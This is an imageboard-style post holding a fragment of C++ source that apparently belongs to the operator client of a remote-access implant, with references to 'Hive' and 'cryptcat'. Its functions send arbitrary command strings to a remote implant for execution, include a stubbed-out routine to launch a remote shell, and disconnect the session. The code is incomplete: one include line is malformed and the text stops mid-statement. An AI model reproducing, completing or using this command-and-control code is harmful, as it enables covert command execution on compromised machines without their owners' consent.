>>9514794
#include <string.h
#include <stdio.h>
#include <iostream>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include "LibraryModuleBase.h"
#include "Primitive.h"
#include "ProcessCmdResponse.h"
#include "Connection.h"
#include "Utilities.h"
#include "ilm-client.h"
#include "Command.h"
#include "hive.h"
#include "cryptcat.h"
extern "C" {
#include "debug.h"
#include "proj_strings.h"
#include "colors.h"
}
//*************
using namespace InterfaceLibrary;
using namespace InterfaceLibrary::Primitive;
//*************
extern Connection *myConn;
extern HiveILM *myILMInstance;
char cryptcat_path[] = "cryptcat";
//*************
void Command::Execute( Primitive::Activation& actvn, ProcessCmdAccumulator& , ProcessCmdResponse& resp )
{
struct send_buf sbuf;
struct recv_buf rbuf;
String argPtr = (String )(actvn.arguments);
String args = *argPtr++;
string command = args;
memset( &sbuf, 0, sizeof( struct send_buf ) );
memset( &rbuf, 0, sizeof( struct recv_buf ) );
resp.type = ProcessCmdResponse::TYPE_Pending;
strncat( sbuf.path, command.c_str(), 254 );
if ( myConn->TxCommand( &sbuf, &rbuf, EXECUTE ) < 0 )
{
resp.type = ProcessCmdResponse::TYPE_Remote_Failure;
resp.resultsLines.push_back( ProcessCmdResponse::Line( 0, " ! Error: Problem with or lost server connection." ) );
return;
}
if ( rbuf.reply == 0 )
{
resp.type = ProcessCmdResponse::TYPE_Success;
}
else
{
resp.type = ProcessCmdResponse::TYPE_Remote_Failure;
}
return;
}
//*************
void Command::Session( Primitive::Activation& actvn, ProcessCmdAccumulator&, ProcessCmdResponse& resp )
{
struct send_buf sbuf;
struct recv_buf rbuf;
String argPtr = (String )(actvn.arguments);
String args = *argPtr++;
string command = args;
memset( &sbuf, 0, sizeof( struct send_buf ) );
memset( &rbuf, 0, sizeof( struct recv_buf ) );
resp.type = ProcessCmdResponse::TYPE_Remote_Failure;
printf( " ! This feature is not implemented\n" );
return;
resp.type = ProcessCmdResponse::TYPE_Pending;
strncat( sbuf.path, command.c_str(), 254 );
if ( myConn->TxCommand( &sbuf, &rbuf, LAUNCHTRUESHELL ) < 0 )
{
resp.type = ProcessCmdResponse::TYPE_Remote_Failure;
resp.resultsLines.push_back( ProcessCmdResponse::Line( 0, " ! Error: Problem with or lost server connection." ) );
return;
}
if ( rbuf.reply == 0 )
{
resp.type = ProcessCmdResponse::TYPE_Success;
}
else
{
resp.type = ProcessCmdResponse::TYPE_Remote_Failure;
}
return;
}
//*************
void Command::Exit( Primitive::Activation&, ProcessCmdAccumulator&, ProcessCmdResponse& resp )
{
struct send_buf sbuf;
struct recv_buf rbuf;
memset( &sbuf, 0, sizeof( struct send_buf ) );
memset( &rbuf, 0, sizeof( struct recv_buf ) );
resp.type = ProcessCmdResponse::TYPE_Pending;
if ( myConn->TxCommand( &sbuf, &rbuf, EXIT ) < 0 )
{
resp.type = ProcessCmdResponse::TYPE_Remote_Failure;
resp.resultsLines.push_back( ProcessCmdResponse::Line( 0, " ! Error: Problem with or lost server connection." ) );
goto cleanup;
}
if ( rbuf.reply == 0 )
{
printf( " * Disconnected\n" );
resp.type = ProcessCmdResponse::TYPE_Success;
}
else
{
printf( " ! Unsuccessful\n" );
resp.type =